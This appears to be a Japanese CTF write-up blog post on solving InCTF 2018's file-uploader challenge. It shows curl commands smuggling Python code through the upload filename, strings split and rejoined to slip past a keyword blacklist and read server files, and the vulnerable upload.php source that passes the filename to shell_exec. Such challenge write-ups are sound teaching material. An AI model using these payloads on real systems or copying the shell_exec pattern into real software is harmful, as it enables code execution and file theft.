こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

InCTF 2018 - The Most Secure File Uploader

問題文

Somehow the codes are all messed up and it seems that it was my younger brother. He messed up my File Uploader. But I know you...You dont look like a hacker at all...Can you fix this for me? :)

f:id:graneed:20181007172741p:plain

writeup

ファイルアップロードの機能を持つ画面。 試しに適当な画像をアップロードしてみる。

f:id:graneed:20181007172905p:plain

ファイル名をそのままpythonコードとして実行しているように見える。
なぜそんなことを・・・。

疑問をもちつつも、ファイル名を使用したRCEで攻める。
いちいちファイル名を変えて画面からアップロードは面倒であるため、以降はcurlで実行する。

まずはprint文で様子見するが、拡張子に縛りがあるようだ。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print('hoge')\""
Sorry, only JPG, JPEG, PNG & GIF files are allowed.<br>Sorry, your file was not uploaded.<br>

 
拡張子をつけたままだと、拡張子の名前のフィールドにアクセスしようとしてエラーとなる。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print('hoge').jpg\""
The file: print('hoge').jpg has been uploaded.<br>File: print('hoge').jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print('hoge').jpg<br><br><br>Traceback (most recent call last):
  File "<string>", line 1, in <module>
AttributeError: 'str' object has no attribute 'jpg'

 
#コメントアウトして解決。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print('hoge')#.jpg\""
The file: print('hoge')#.jpg has been uploaded.<br>File: print('hoge')#.jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print('hoge')#.jpg<br><br><br>hoge

 
pyjailを使って、サーバ内のファイルの取得を試みる。
ただ、blacklist機能があるようで、__class__が使用できない。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print(().__class__)#.jpg\""
<br>Filename: print(().__class__)#.jpg<br><br>I think its called blacklisting...!

 
他、__import__os__builtins__なども使用不可だった。
試行錯誤し、最終的にはglobals()から辿り、文字列結合でblacklistを回避し、osモジュールを使用できた。 文字列結合にあたり、+も使用不可であったため、joinで解決。
カレントディレクトリ配下のファイルを表示する。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg\""
The file: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg has been uploaded.<br>File: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg<br><br><br>['index.html', 'favicon.png', 'upload.php', 'flag']

 
flagファイルを表示する。

root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg\""
The file: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg has been uploaded.<br>File: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg<br><br><br>inctf{w0w_pyth0n_mad3_my_lif3_s0_3z}

 
フラグゲット。 inctf{w0w_pyth0n_mad3_my_lif3_s0_3z}

補足

upload.phpのコードも取得した。何がblacklistに入っていたか確認できる。

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

$blacklist = "import|os|class|subclasses|mro|request|args|eval|if|for|\%|subprocess|file|open|popen|builtins|\+|compile|execfile|from_pyfile|config|local|\`|\||\&|\;|\{|\}";

if(!$_FILES["fileToUpload"]["name"])
{
    die("PLEASE UPLOAD SOMETHING");
}

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . "<br>";
        $uploadOk = 1;
    } else {
        echo "File is not an image." . "<br>";
        $uploadOk = 0;
    }
}

// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large." . "<br>";
    $uploadOk = 0;
}

// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed." . "<br>";
    $uploadOk = 0;
}

// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded." . "<br>";
    exit();
}
// if everything is ok, try to upload file

if (preg_match("/$blacklist/i", $_FILES["fileToUpload"]["name"])){
    echo "<br>Filename: ".$_FILES["fileToUpload"]["name"]."<br><br>";
    die("I think its called blacklisting...!");
}

echo "The file: ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded." . "<br>";
echo "File: " . $_FILES["fileToUpload"]["name"] . "<br>";
echo "Size: " . $_FILES["fileToUpload"]["size"] . "<br>";
echo "Type: " . $_FILES["fileToUpload"]["type"] . "<br>";
echo "<br><br><br>";
echo $name = urldecode($_FILES["fileToUpload"]["name"]);
echo "<br><br><br>";
echo shell_exec("python -c \"" . $name . "\" 2>&1");

?>